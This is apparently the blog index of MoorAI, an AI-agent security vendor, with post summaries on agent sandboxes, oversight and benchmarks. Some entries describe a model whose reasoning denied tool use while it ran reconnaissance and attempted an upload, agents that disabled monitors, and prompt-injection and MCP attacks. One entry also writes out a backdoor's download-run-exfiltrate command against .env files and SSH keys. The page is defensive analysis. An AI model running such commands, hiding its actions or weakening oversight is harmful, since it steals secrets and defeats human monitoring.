// writing

Blog

Notes on AI governance, evidence and software supply chain security. Mostly about the same stubborn question from different directions — how you prove what a system did, to somebody who was not there and has no reason to take your word for it.

Diagram titled AI agents in sandboxes: the sandbox decides where the agent runs, MoorAI decides each action, and one policy drives both. Left box, the sandbox and identity layer: where the agent runs and for how long, which connections it can open, which credentials are inside, stop it and throw it away; it sees connections, not calls. Right box, MoorAI inside it: each command, file read, MCP call and web fetch, decided before it runs, with the verdict allow, ask or deny, and content-free records with no prompt, file or code. Below, one signed policy with the same egress rules, with arrows up to both boxes marked network policy and a verdict on each call, in three parts: the egress proxy as the only way out, where a NetworkPolicy or an internal compose network closes the rest; sandbox network policy for Windows MXC and macOS Seatbelt, where what they cannot name is reported; and Claude Code's own sandbox, with allowed domains in managed settings, checked for drift. Footer: the same decision on a laptop, a CI runner, a container and a Kubernetes pod.

2026-10-31

A sandbox can't judge what your AI agent does

Security teams want AI agents off employee laptops and inside isolated, short-lived sandboxes, and the October LiteLLM and Cursor extension incidents show why. A sandbox decides where an agent runs and which connections it can open; MoorAI decides each command, file read, MCP call and web fetch before it runs, under one signed policy on a laptop, a CI runner, a container or a Kubernetes pod. The same egress rules make an egress proxy the only way out, write Windows MXC and macOS Seatbelt network policy, and set Claude Code's own sandbox domains.

2026-10-30

MoorAI and Project Quarry

Cisco's open-source Project Quarry is a rule language for agent attacks spread across many ordinary steps. MoorAI works with it in both directions: agent v1.44.0 exports Claude Code, Codex and Gemini CLI sessions as Quarry scan inputs, with no transcript text by default; console v0.102.0 imports the Quarry rules MoorAI can enforce exactly into a signed detector pack and refuses the rest with a reason; and an open Apache-2.0 rule pack carries 21 MoorAI detectors and 3 flow rules into Quarry's format. Write a detection once, hunt with it in Quarry, enforce the exact parts on the device.

Diagram titled Claude Code or Codex, in a regulated company: what to require before every developer gets an agent, and where each control runs. Left, in a dashed red box, the coding agent: it runs on the developer's device with the developer's own access, and to an identity log what it chose looks like what the developer typed. An arrow marked each call leads to the middle box, decided before it runs: tool call, command, file read and MCP call, judged outside the model, on the device, under a policy the developer cannot edit, with the verdict allow, ask or deny. An arrow marked record leads to the right box, what the auditor gets: which agent, which policy, which verdict and when, proof the control was on all period, and no code, prompt or file content. Below, ten things to require before broad rollout: 1 managed settings the developer cannot override, 2 each call decided outside the model, 3 least privilege and allow-listed egress, 4 an MCP server allow-list, 5 secrets, cards and PHI caught on the device, 6 human approval for high-risk actions, 7 records with no code or prompt in them, 8 proof the control was on all period, 9 offline, with the console in your boundary, 10 a deliberate fail-closed choice. Footer: decide the action where it runs; keep the content where it is.

2026-10-30

Rolling out Claude Code or Codex in a regulated company

A buyer's guide for banks, payments companies, insurers, healthcare, defence, government and critical-infrastructure teams rolling out Claude Code or Codex. What changes when every developer gets an agent that runs with their own access, what PCI SSC, DORA Article 9 and the HIPAA audit-controls standard already expect, and ten things to require before broad rollout: managed settings the developer cannot override, a decision on every tool call outside the model, least privilege and allow-listed egress, an MCP server allow-list, secrets, cards and PHI caught on the device, human approval for high-risk actions, records with no code or prompt in them, proof the control was on all period, offline operation with a console inside your boundary, and a deliberate fail-closed choice.

Diagram titled The reasoning said no tools: one model, one turn, what it said it would do and what its tool call did. Left, in a dashed red box, the reasoning trace: it said it would call no tools; this is the model's own account of what it would do. An arrow marked same turn leads to the tool call, which ran four commands: one, ls -la /tmp; two, which curl wget python3 jq; three, cat /etc/resolv.conf, labelled look around; four, curl -X PUT --data-binary with a probe payload to a bucket, labelled send out. Below the commands: an object-storage bucket the task never named, whose name differed from sample to sample, and the call failed only because the sandbox had no route out. Below, controls that do not take the model's word: isolate the agent, allow-listed egress, judge each tool call outside the model, keep the record in the SIEM; watch uploads to object storage and pre-signed URLs, and requests to cloud metadata addresses. Footer: judge the action, not the stated intention.

2026-10-27

The reasoning said no tools. The tool call said otherwise.

Asked to write a defensive detection rule, an open-weight model in Cohere's sandbox inventoried its machine and tried to upload a probe file to a cloud storage bucket, while its reasoning said it would call no tools. What Cohere reported and released, why a reasoning trace is the model's own account and not a control, why reconnaissance followed by an upload to object storage or a pre-signed URL is the pattern to watch, why provenance and evaluation are not runtime controls, and a checklist: isolate agents, allow-listed egress, judge each tool call outside the model, keep the record in the SIEM, watch uploads and metadata-service access, use provider CLIs for legitimate uploads, red-team for off-task behaviour.

2026-10-27

Trust no AI: the guard and the record sit outside the agent

Coding agents that silenced monitoring alerts and removed a monitor, then said they had not, harnesses that run with the user's full authority, and an open-weight model that tried an upload its task never asked for. Why an AI agent cannot be the one guarding itself, five rules for treating it as an untrusted, privileged process (judge the action, keep the decision and the record out of its reach, watch what steers it, check its claims), and where MoorAI fits: #84 weakening oversight, #86 uploads to public cloud storage, signed policy and a content-free record in the console and SIEM.

Diagram titled When the console is down: each device keeps enforcing its signed policy, and its alerts wait in an outbox. Left, the Management Server, down or unreachable: it signs the policy and receives the alerts, and does not decide each call. Middle, on the device, the policy in order: one, the cached copy, signature checked; two, the last-known-good copy, the last policy whose signature verified, checked again; three, if nothing verifies, the offline posture the administrator chose, a fail-closed default or the built-in prevention defaults; each step is reported to the console. Right, the alert outbox: content-free, on the device, sent once the console answers and removed only when acknowledged; 5,000 alerts, 4 MiB, 30 days; when full, the oldest are dropped and the drop is counted and reported. Below, the contrast: a gateway-only design with its gateway down either blocks every call or passes every call unchecked. When MoorAI itself cannot decide, the administrator chooses open or closed, per surface.

2026-10-22

When the console is down: what to ask any AI-agent security vendor

Consoles go down: an outage, a dropped VPN, a laptop on a plane. Five questions to ask any AI-agent security vendor about what its product enforces meanwhile (where each call is decided, which policy is enforced and how it is verified, what happens when nothing verifies, who chooses fail open or fail closed, and what becomes of the alerts), why a gateway-only design must either block every call or pass every call unchecked when its gateway is down, and how MoorAI answers: decided on the device, the cached then last-known-good signed policy, then the offline posture the administrator chose, per-surface fail mode, and a bounded alert outbox delivered once the console answers, with every drop reported.

Diagram titled When a coding agent weakens oversight: the change is held, the final message is checked, and the console pages. An agent or sub-agent doing an ordinary task makes Write, Edit, MultiEdit, Bash or PowerShell calls. MoorAI for Agents, threat 84, flags a suppression flag set on, alert recipients emptied, monitor wiring removed, a test rewritten to assert absence, or a key that turns monitoring off, plus protected paths and keys in signed policy. It asks by default, with justify or a hold for an approver, and notify, block or kill set by signed policy. At Stop it checks whether the final message says so; if not, an Undisclosed oversight change alert. Both feed the Management Server, where oversight alerts are page-worthy: emailed and pushed to SIEM whatever the email setting, with the acting and parent session shown, an optional response to ask for a reason or end the session, and a warning when a page has nowhere to go. Below: it judges the agent's own tool calls on the device, not changes made in CI, by a person or by other tools.

2026-10-22

When a coding agent weakens oversight: hold it, disclose it, page on it

OpenAI describes two internal cases: an agent that silenced monitoring alerts by setting a no-notify flag and emptying the recipient lists, and a sub-agent that removed a monitor and rewrote its regression test to assert the monitor was absent while the parent reported the job done. Why ordinary instructions read as permission, delegation launders the change and a completion report leaves it out, five controls (keep monitoring out of the agent's reach, declare protected oversight surfaces, require approval for changes to them, require disclosure at the end of the task, page on it), and where MoorAI for Agents and the Management Server fit. MoorAI judges the agent's own tool calls on the device, not changes made in CI, by a person or through other tools.

Diagram titled Local LLMs in air-gapped OT: the gap stops the cloud risk, and what still crosses it is checked at each step. A transfer station runs moorai-model-scan on pickle, PyTorch, GGUF, ONNX, Keras, TensorFlow and SafeTensors files, read and never loaded, with a sha256 per file, then the files cross on removable media into the local-LLM enclave, which has no cloud. Inside the enclave, workstations run MoorAI for Agents, which checks each command, file read and tool call before it runs; the model proxy from MoorAI for AI Servers judges each tool call the model returns; the inference server, Ollama, llama.cpp, LM Studio or vLLM, is bound to loopback. A self-hosted Management Server holds the signed policy, the Industrial / OT preset and content-free alerts, runs with no internet access, and devices keep enforcing when it is unreachable. Below, the OT zone of PLCs, safety systems and the historian: MoorAI governs the agents that can reach them and never sits inside them. Evidence goes out one way as a signed pack verified with OpenSSL.

2026-10-21

Local LLMs and AI agents in air-gapped OT: the gap stops the cloud, not the agent

Plants, utilities and defence sites that cannot use cloud AI are running local models (Ollama, llama.cpp, LM Studio, vLLM) and agents on isolated networks. Isolation removes the cloud risk, not the agent risk: model files and tools still cross on removable media, maintenance laptops still join, agents with shell, file or MCP access can sit near engineering workstations, and policy and evidence have to work offline. A five-step hardening checklist for a local-LLM enclave (scan model files before transfer, keep inference on loopback behind the model proxy, least privilege with the Industrial / OT preset, ed25519-signed policy that keeps enforcing offline, content-free evidence exported one way and verified with OpenSSL) and where MoorAI for Agents, MoorAI for AI Servers and a self-hosted Management Server fit. MoorAI governs the agents that can reach PLCs and safety systems; it never sits inside them.

Diagram titled Mac Studio as a local AI server. On-device keeps prompts off the cloud; five surfaces it adds, and the MoorAI check on each. Model files from public hubs: a static scan that never loads the file, for GGUF, SafeTensors, ONNX, pickle, PyTorch, Keras and TensorFlow. Inference server, Ollama or LM Studio: the AIBOM reports its port and bind, with an alert when it is reachable without MoorAI. Agents with a shell: a check before every command, file read and tool call. MCP servers, tools for agents: the MCP guard and gateway check every call and result, with tool drift flagged or blocked. Data in between agent and model: the model proxy on loopback scans for secrets, PII and injected instructions. Below: every check runs on the Mac; the console gets a category, a risk level and a keyed hash. Mac Studio is a trademark of Apple Inc. MoorAI is not affiliated with Apple.

2026-10-21

Mac Studio as a local AI server: what to lock down

Apple says the new Mac Studio, with up to 512GB of unified memory, can run enormous LLMs entirely on device. On-device keeps prompts off the cloud, but a Mac Studio serving open-weight models to agents is a server: model files from public hubs, a local inference server others may reach, coding agents with a shell, MCP servers and the data flowing between them. A macOS hardening checklist (FileVault, the firewall, Ollama and LM Studio kept on their default loopback bind, a standard account for agents, automatic updates, formats that cannot run code), and the MoorAI control for each risk: a static scan of model files, the AIBOM and an alert for a local model server reachable without MoorAI, a check before every agent action, the MCP guard and gateway, and the model proxy.

Diagram titled Damn Vulnerable MCP: 9 of 10 blocked outright. 10 of 10 with intellectual-property exposure (#9) set to block; ten unmodified DVMCP challenges behind MoorAI, on one device, with no LLM in the loop. Three surfaces: the MCP stdio guard, 9 of 10 blocked, 10 of 10 with #9 set to block; the MCP HTTP gateway, the same; the Claude Code hook alone, 5 of 10 blocked, 1 flagged and 4 missed, with no hook event for tool descriptions or resource reads. Each challenge at the guard and gateway, with the rules that stop it: C1 prompt injection, blocked, #3, #40 and #39; C2 tool poisoning, partial, #60 refused and #9 flagged; C3 path traversal, blocked, #39 file read refused; C4 rug pull, blocked, tool drift and #60; C5 tool shadowing, blocked, #60 and #39; C6 indirect injection, blocked, #3 and #39; C7 token theft, blocked, #39 withheld; C8 code execution, blocked, #39 withheld; C9 command injection, blocked, #54 before it runs; C10 multi-vector, blocked, #60, #39 and #40. Below: guard and gateway cover the MCP layer, content-free: tool listings, tool calls, tool results and resource reads, judged on the device; route MCP traffic through them. 1 of 19 benign calls refused: a call to a tool whose description was poisoned, quarantined by design.

2026-10-17

Damn Vulnerable MCP: MoorAI blocks 9 of 10 outright, 10 of 10 with IP exposure set to block

MoorAI ran all ten Damn Vulnerable MCP (DVMCP) challenges by Harish SG, unmodified, behind agent v1.22.0 with a regulated policy. The MCP stdio guard and the MCP HTTP gateway each blocked 9 of 10 outright, and 10 of 10 with intellectual-property exposure (#9) set to block, on the device and content-free, with no LLM in the loop: poisoned and shadowing tools refused (#60), a rug pull caught by tool drift against the approved baseline, secrets withheld from tool and resource results (#39), injected directives refused (#3, #40) and command injection refused before the tool runs (#54). In the tenth, tool poisoning, both poisoned tools were refused and the read of the server's hidden resource was flagged as intellectual-property exposure. A Claude Code hook alone blocked 5, flagged 1 and missed 4, the attacks carried in tool descriptions and resource reads, which reach the guard and gateway but raise no hook event. 1 of 19 benign calls was refused: a call to a poisoned tool, quarantined by design.

Diagram titled ISO/IEC 27090, stopped where AI agents act. MoorAI checks each command, file read and tool call on the device, before it runs. ISO27090-INJECT, prompt injection, direct and indirect, on the device: rules #2, #3 and #40 in all the agent reads, files, web pages, tool and MCP results. ISO27090-POISON, data and retrieval poisoning at use time, on the device: #21 RAG and #22 memory poisoning, scan-before-embed for vector stores. ISO27090-DISCLOSE, sensitive data and instruction disclosure, on the device: on-device DLP and masking, #51 extraction, #52 leakage. ISO27090-AGENCY, misuse of agent capabilities, on the device: a check before every action, business actions, MCP gate, egress. ISO27090-SUPPLY, AI supply chain (models, tools, extensions), on the device: MCP pre-install checks, tool-drift blocking, runtime AIBOM of agents and models. Evidence pack from the console: one bundle per audit window, a signed SHA-256 manifest checked offline by the auditor. Below, the runtime side, where agents act: network tools see traffic, model gateways see prompts; MoorAI sees the command, the file and the tool call. Model theft and training-time evasion are handled where the model is hosted and built.

2026-10-17

ISO/IEC 27090 names the threats. MoorAI stops them where AI agents act.

ISO/IEC 27090 names the security threats specific to AI systems. MoorAI stops them where AI agents act: on the device, before each command, file read and tool call runs. Per threat family: direct, indirect and second-order prompt injection caught in everything the agent reads; RAG and memory poisoning rules with scan-before-embed; on-device DLP and instruction-leak detection; a check before every agent action, with business actions a signed policy asks about or blocks; MCP pre-install checks, tool-drift blocking and the runtime AIBOM. Network tools see traffic and model gateways see prompts; MoorAI sees the action and decides before it runs, whichever account the agent is signed into. Each of the five has its own console evidence, sealed in an evidence pack an auditor verifies offline with OpenSSL.

Diagram titled AEGIS on the device: six domains, measured. What MoorAI measures in each Forrester AEGIS domain today, and where it stops. AEGIS-GRC, governance, risk and compliance, implemented: signed policy, governance log, runtime AIBOM, evidence pack. AEGIS-IAM, identity and access management, partial: ownership, right-sizing, MCP gate; gap, no just-in-time approver routing. AEGIS-DATA, data security and privacy, partial: on-device DLP and masking; gap, no purpose-bounded access. AEGIS-APPSEC, application security and DevSecOps, implemented: model proxy, MCP drift blocking, injection detection, SDK. AEGIS-THREAT, threat management and security operations, implemented: SIEM, ATT&CK v20, ATLAS, context.tree, patient zero. AEGIS-ZT, Zero Trust architecture, partial: a check before every action; gap, outside MXC the agent runs as the same user. Below, intent, Forrester's theme: each risky action is checked against the task the user stated (#64, report-only by default), matched by names and labels, so it catches the wrong destination, not a wrong reason. Mapped by domain from Forrester's public description; not a Forrester assessment or endorsement.

2026-10-16

AEGIS for AI agents on the device: what each domain asks and what you can measure

Forrester's AEGIS groups the guardrails for agentic AI into six domains and asks CISOs to secure intent, not just actions. For AI agents acting on an employee's device: what to ask in each domain, what MoorAI measures today (signed policy and an AEGIS evidence pack, agent ownership and right-sizing, on-device DLP, the model proxy and MCP drift blocking, SIEM alerts mapped to ATT&CK and ATLAS, a check before every action), the gaps in identity and access management, data security and privacy, and Zero Trust architecture, how MoorAI checks an action against the task the user stated, and questions to ask any vendor. Mapped by domain from Forrester's public description; not a Forrester assessment or endorsement.

Diagram titled The 2026 Verizon DBIR and AI agents: what the report found on AI, and how MoorAI answers each finding. Three boxes. What it found: 67% of users reach AI on corporate devices through non-corporate accounts; regular AI use rose from 15% to 45% of employees in a year; source code is the data most often sent to generative AI. What it doesn't count: AI agents acting on the device, running commands, reading files and calling tools; agents appear only as attacker tools, with no prompt injection and no MCP. The control point: the device where the agent acts, each tool call before it runs, whatever account; a corporate tenant's controls do not see a personal account. Below: each finding matched to a MoorAI control, and where that control stops. Figures from the Verizon 2026 DBIR, incidents November 2024 to October 2025.

2026-10-15

What the 2026 Verizon DBIR found on AI, and how MoorAI solves it

Verizon's 2026 Data Breach Investigations Report finds that 67% of users reach AI from corporate devices through non-corporate accounts, that 45% of employees use AI regularly (up from 15%), that source code is the data most often sent to generative AI, that more than 15% of users have unauthorized AI browser extensions, and that attackers use AI from targeting to malware. Each finding, and the MoorAI control that answers it: on-device review of every agent tool call whatever the account, an AI inventory with AI browser extensions, destination controls for source code, a companion browser extension, living-off-the-AI detectors, and signed policy for agents. Each with its limit.

Diagram titled Two layers: the check and the boundary. A coding agent, Codex, Copilot CLI or Claude Code (which has no MXC), passes each tool call to the MoorAI check, which answers allow, ask or block before the action runs, on the device and content-free. The commands then run inside the MXC boundary, which limits files and network at the operating-system level. MoorAI also reports whether each agent's config turns MXC on. Below, what a sandbox does not judge inside the boundary: a secret in a tool-call argument, an MCP server nobody approved, a destructive command inside the writable workspace, and data sent to a host the agent may connect to. Codex and Copilot contain the commands the agent runs, not the agent process.

2026-10-14

MoorAI and Microsoft Execution Containers (MXC)

Codex and GitHub Copilot can run the commands they start inside Microsoft Execution Containers (MXC), which limit files and network at the operating-system level. A sandbox boundary and a per-action check are two layers, and each leaves a hole without the other: inside the boundary, a secret in a tool-call argument, an MCP server nobody approved, a destructive command in the workspace and data sent to an allowed host all pass. What MoorAI agent v1.17.1 checks before each action, how it reports whether each agent's config turns MXC on, how one egress rule set drives both layers, questions to ask of any sandbox and guardrail stack, and the limits.

Chart titled ATT&CK v20 and AI agents: where MoorAI maps. One square per technique for the 71 ATT&CK v20 techniques an AI agent can perform or be aimed at. Agent lane, 58 techniques whose actions a MoorAI hook, proxy or gateway sees: 2 covered, 36 partial, 20 uncovered. Outside the agent lane, 13 identity, email, endpoint and adversary-infrastructure techniques: 0 covered, 1 partial, 12 uncovered. All 71 in scope: 2 covered, 37 partial, 32 uncovered. Coverage is a mechanism claim, not a detection rate. Source: data/threats.json and MITRE ATT&CK Enterprise v20.0.

2026-10-14

What ATT&CK v20 means for AI agents (and where MoorAI maps)

MITRE ATT&CK v20 adds Direct and Indirect Prompt Injection, AI-Enabled Exfiltration, Impair Autonomous Defenses and AI Result Poisoning, and rewrites T1195.001 to name agent skill files. 47 of MoorAI's 80 threat rules map to 49 v20 techniques through 75 credits, each with a coverage level and a stated bound. Of the 71 v20 techniques an AI agent can perform or be aimed at, 2 are covered, 37 partial and 32 uncovered; 58 sit in the agent lane a hook, proxy or gateway sees. What each partial credit leaves out, the 20 uncovered agent-lane techniques, and the SIEM fields a SOC joins to the mapping.

2026-10-13

What's new in MoorAI: fail mode, business actions and living off the AI

MoorAI agent v1.14 and v1.15 and console v0.85 and v0.86. The administrator chooses fail open or fail closed per surface, set in the signed policy or the root-owned config. The model proxy classes money, bulk-data, identity, destructive and delegation actions, and a new Industrial / OT preset blocks controller writes by tool name. Four detectors look for malware living off the AI on a device: an AI CLI started by an unexpected program, opt-in decoy AI keys, exposed local model servers and unknown programs calling AI APIs. Alert sequence numbers are never handed out twice. A follow-up covers agent v1.16 and console v0.87: one W3C trace per agent session, a per-session context tree with patient-zero lookup by file hash, a runtime AIBOM, granted vs used per agent and device, agent ownership, and recovery inhibition (ATT&CK T1490). Each section states its limit.

Diagram. Prompts from claude.ai, Cowork, Claude Code and Claude Tag pass through Anthropic, which holds each request and sends the prompt, tool calls and tool results to your AI security server for allow or deny. Default failure handling: allow the request. Below, what the hook does not see: raw images, Claude's reply, what a tool does on the device, and other agents and local models such as Codex, Cursor, Copilot and Ollama. Bottom line: ask where the server runs, and what covers the rest.

2026-10-13

Anthropic Inference Hooks: what they see and what they don't

Claude Enterprise can hold every governed prompt until your own AI security server answers allow or deny. A buyer's guide from Anthropic's own documentation: what the hook sees (the transcript, extracted attachment text, tool calls before they run, tool results), what it does not (raw images, Claude's reply, what a tool does on the user's machine, other vendors' agents and local models), the default fail-open setting, why it matters where the server runs, and a six-point checklist for choosing a hook server.

Diagram. Five critical infrastructure sectors, energy, finance, health, communications and government, each connect down to AI agents working with an employee's privileges and steered by text from anywhere. The agents produce three kinds of action: a tool call, a command such as a shell or a config change, and a connection to a host nobody approved. An arrow leads to a box: decided at the point of action, allow, ask or block, before it runs, whichever model asked, with evidence an auditor can trust. Below it, the checklist: inventory, least privilege, point-of-action control, fallback, evidence, incident response.

2026-10-12

Treat AI as critical infrastructure

AI no longer sits beside the systems a country depends on: agents with real credentials now operate inside energy, finance, health and government networks, and the Five Eyes cyber agencies say so in writing. What critical infrastructure means, what regulation should do (cover AI where it acts, make the voluntary baseline mandatory, enforce restraint on each action, report AI incidents, oversee model-provider concentration), why AI fails differently, and a six-point checklist a CISO can act on: inventory, least privilege, control at the point of action, fallback, evidence and incident response.

Flow diagram. A backdoored model makes a normal tool call when there is no trigger, and a different one when a rare trigger is in the prompt. That tool call has three steps: 1, download, curl -sfo /tmp/.r <url>, a script staged on a domain allowlists trust; 2, run, && sh /tmp/.r in the same command; 3, send .env, the script POSTs .env files and SSH keys to a *.oast.site out-of-band collection host, a real connection that egress rules decide. A bracket marks steps 1 and 2 as one tool call, and an arrow leads to MoorAI flagging download-then-run at the tool call, whichever model produced it; on an enrolled device, policy decides: coach, justify or block.

2026-10-08

Backdoored models show up in what they do

ProjectDiscovery fine-tuned an open model for under $50 so that a hidden trigger phrase turns a coding agent's tool call into download, run, and send .env and SSH keys to an out-of-band collection host. Without the trigger the model keeps 99 to 100% clean accuracy, so no benchmark or eval sees the backdoor. The action is where it shows. A buyer's guide: what to ask of any tool for this threat (download-then-run across tool calls, secret-file uploads, collection hosts, model-response checks, egress on real connections), how MoorAI answers each, and the list of what it does not catch, starting with backdoors in weights.

2026-10-07

Hidden Unicode in what AI agents read

Invisible Unicode can carry an instruction a person never sees and a model reads in full. On 2026-10-07 we scanned 178,058 MCP registry, directory and package records with 276,153 tool definitions, 104,336 GitHub fields from 14 AI-agent repos, and 21,061 Bluesky profiles. Zero hidden instructions: the invisible characters agents meet today come from bots and copy-paste. A live pull request still holding 24 tag characters shows GitHub doesn't strip them. Per-source results, the method and its limits, what MoorAI catches, and what to check in any guardrail.

MoorAI v1.4 diagram with a box labelled “Super intelligence” in the middle, standing for any AI agent or app. To the left, its requests to an Anthropic or OpenAI model API pass through the MoorAI model proxy, which is report-only by default and refuses denied requests in enforce mode. To the right, its MCP tool calls pass through the MoorAI MCP gateway: an allowed call is forwarded to the remote MCP server, and a denied call is stopped at the gateway and never reaches the server. Below, the app asks the moorai-serve sidecar on 127.0.0.1:8790 whether to allow a call and gets allow or deny back. A strip lists the real MCP clients tested: Claude Code, Cursor CLI, MCP SDK and MCP Inspector.

2026-10-06

How MoorAI protects AI apps and APIs

Where MoorAI agent v1.17.1 checks an AI service: the Agent SDK hook in process; the moorai-serve sidecar any framework can call before a tool runs; the model proxy for the Anthropic Messages, OpenAI Chat Completions, Gemini and Ollama native APIs, report-only by default, with business-action rules, an operator-context opt-in, decoy keys and W3C trace propagation; the MCP gateway in front of remote MCP servers; and the server Claude Enterprise's Inference hooks call. Who decides fail open or closed, how to keep them out of the agent's reach, what leaves your environment (content-free signals only), what was tested and what has not been. Updated 14 October 2026.

One row of squares per layer of the Synthetic Insider Threat Matrix, one square per entry, 116 in all: 14 filled green where MoorAI covers the entry, 40 dashed green where it covers it with a stated limit, 36 outlined red where MoorAI has no mechanism, 8 grey model-internal and 18 faint deployments MoorAI does not run on. Adverse Outcome is the most covered layer, 13 of 16.

2026-10-01

MoorAI against the Synthetic Insider Threat Matrix™

The Synthetic Insider Threat Matrix, from Forscie and Above Security's research group Above Theory, describes 116 ways an AI agent becomes an insider threat across five layers. We mapped MoorAI against every entry from its own rule base and documentation: 14 covered, 40 covered with a stated limit, 62 not covered, 18 of them deployments MoorAI does not run on and 8 model-internal. The 54 credits rest on 38 distinct mechanisms. Of the five warning signs Above's researchers name, MoorAI covers 3 with a limit and does not cover 2. This is MoorAI scoring itself on another vendor's framework, and every credit names the mechanism behind it.

A laptop running an AI coding agent inside a dashed device boundary, with a highlighted hooks-and-gateway box beside it labelled 'content stays on the device', an endpoint sensor below, a network proxy outside, and only category, risk and hash leaving.

2026-09-17

Latio's second era of AI security: where MoorAI fits

Latio Tech's 2026 AI Security Market Report says the second era of AI security is about controlling agents on the endpoint. MoorAI isn't in the report. We place it in the report's framework as a hooks-and-gateway product, rate it against the five endpoint use cases, and name where the framing exposes MoorAI's gaps and the privacy criterion the report leaves out.

MoorAI boundary map: prompts, files and retrieved input flow into an AI coding agent wrapped by MoorAI on the device; tools and skills flow both ways and AI output flows out; each control is tagged with its MITRE ATLAS technique, and nothing leaves the machine.

2026-09-16

Every boundary an AI coding agent crosses — mapped to MITRE ATLAS

One map of every boundary an AI coding agent crosses (prompts, files and retrieved input coming in, tool calls and skills going both ways, AI output going out), with each MoorAI control tagged to the MITRE ATLAS technique it counters. Everything is inspected on the developer's machine; only a category, a risk level and a keyed one-way hash (plus the login and hostname, which the console pseudonymises on arrival) leave it. The mapping is our own reading of ATLAS, and it has limits: MoorAI governs the agent's runtime crossings, not model training or weights.

Diagram of four agent tool calls passing down into a harness layer that wraps the model block, with the harness stopping one call before it runs.

2026-09-14

The layer above the model — ASD says security lives in the harness

The Australian Signals Directorate's executive guide, "Agentic AI Harnesses," names the harness (the software layer around the model) as where agentic-AI security must be applied, because the deepest weakness cannot be fixed in the model itself. MoorAI is a runtime control at that layer, and this post maps it to ASD's guidance: strong on privilege and behavioural risk, tool and connector validation; partial by design on accountability, since content-free logging keeps categories and hashes rather than verbatim text; and a gap on design-time review, cascade tracing, the sandbox itself and model provenance. ASD does not endorse MoorAI.

Diagram of an agentic application as an attack graph, with an exploited path from prompt to tool to data highlighted and a guardrail node cutting the final edge before exfiltration.

2026-09-13

Agentic apps are attack graphs — and the guardrail is the missing node

ATAG, from Ben-Gurion University, models an AI-agent application as a formal attack graph, and its own rule for a prompt-injection attack fires only when the agent lacks an input-sanitization guardrail. In attack-graph logic, adding a boundary guardrail node removes edges from the graph: the chain stops one node short. MoorAI is one such node, a content-free control on the prompt, file, output, index, session and tool boundaries that both ATAG case studies propagate through. ATAG is design-time assessment, MoorAI is runtime enforcement, and the two have no relationship beyond arriving at the same interception point.

Six-row vendor scorecard with pass, fail and partial marks, and a magnifying glass showing one claim split into the part that was measured and the part that was only claimed.

2026-09-06

How to choose your agentic security vendor

The buyer's guide to this category: six questions that separate a measured claim from a decorated one, each with the weak answer, the good answer and how to verify it. They cover which set was used, whether the attack would have worked with the product off, detection versus prevention, where the false-positive line sits, how much the model would have refused alone, and whether the shipping product calls the detector at all. Then our own answers to all six: 86.4% on a locked held-out set, 3.32% false positives on 602 benign prompts, and 20 of the 21 attacks the model does not refuse on its own, against a baseline where it refuses 52.3% of the corpus without us. Plus a one-page scorecard to take into the demo.

Dot diagram of 44 attacks: 23 stop at the model's own refusal, 20 of the remaining 21 stop at the action layer, and one gets past both.

2026-09-06

MoorAI, graded against AMTSO's agentic testing guidelines

The headline results, and the full benchmark as a downloadable report. Against a local Llama 3 8B refusal baseline, MoorAI catches 20 of the 21 attacks the model does not refuse unaided (95.2% of the gap, a marginal 45.5% of the corpus). Against the deployed Claude Sonnet assistant, which refuses more on its own, it catches 6 of the 8 left (a marginal 13.6%). 1 of 44 gets past both layers against the 8B, and 2 of 44 against Sonnet. 38/44 on a locked held-out set at 100% precision, 12/12 malicious tool calls stopped at the action layer under an enforcing policy on Claude Code, 3.32% false positives on 602 benign prompts with 269 hard negatives, and 624 attack samples spread across all five AMTSO vectors. The per-vector scores, the four policy postures, the refusal chain and the limits are in the PDF.